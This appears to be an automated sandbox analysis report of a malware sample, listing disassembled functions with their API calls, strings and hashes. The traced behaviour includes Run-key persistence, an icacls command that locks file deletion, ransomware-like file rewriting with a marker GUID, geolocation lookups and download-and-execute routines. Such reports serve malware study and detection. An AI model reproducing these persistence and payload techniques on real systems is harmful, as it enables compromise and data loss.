Opcode ID: 23c4a32574dcf833c1abcaf838a041635a841e7433f446da575f1332eea5ed3a
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 23c4a32574dcf833c1abcaf838a041635a841e7433f446da575f1332eea5ed3a
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
D, xrefs: 00412128
SysHelper, xrefs: 00411D5B, 004120EB
SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C
Shell32.dll, xrefs: 00411E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 00411DD1

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: d4d4475e35454581c40831a8a077882a75949bcbed9682cf29aa14a5f90fea90
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: d4d4475e35454581c40831a8a077882a75949bcbed9682cf29aa14a5f90fea90
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 3054c02ef8bebbb0146ce6596eb39dd3a8410d6478fb656816992b4064106416
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 3054c02ef8bebbb0146ce6596eb39dd3a8410d6478fb656816992b4064106416
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB
$run, xrefs: 0041DEAB
Shell32.dll, xrefs: 0041DCF0
Microsoft Internet Explorer, xrefs: 0041DEF7

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 2697e8155c79a5de7511c509e061a719634e383a6575215ecfcc88987e25547a
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 2697e8155c79a5de7511c509e061a719634e383a6575215ecfcc88987e25547a
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0041BAE0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Strings

Pd, xrefs: 0041BCDC

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID: Pd
API String ID: 3873257347-2778440993
Opcode ID: 84c3b1a3c327ba7ecdf0c1c9190b5ab52c922a05e9ee38d6c26f9b3deb5953f7
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 84c3b1a3c327ba7ecdf0c1c9190b5ab52c922a05e9ee38d6c26f9b3deb5953f7
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 671c2c1c61a9538a32956bfe3a9a422504fc7bc34bd1e0256f8291cf6b7f66d8
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 671c2c1c61a9538a32956bfe3a9a422504fc7bc34bd1e0256f8291cf6b7f66d8
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: cb2f869ed953b6469532c7b5f3013c5d7dbb39fa8f1a48da1e057f015d38777e
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: cb2f869ed953b6469532c7b5f3013c5d7dbb39fa8f1a48da1e057f015d38777e
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,74E14E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 5e1c89460e1f6813b435a851fa237cf5a0b6bf9d28932c90b520228febe00c10
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 5e1c89460e1f6813b435a851fa237cf5a0b6bf9d28932c90b520228febe00c10
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
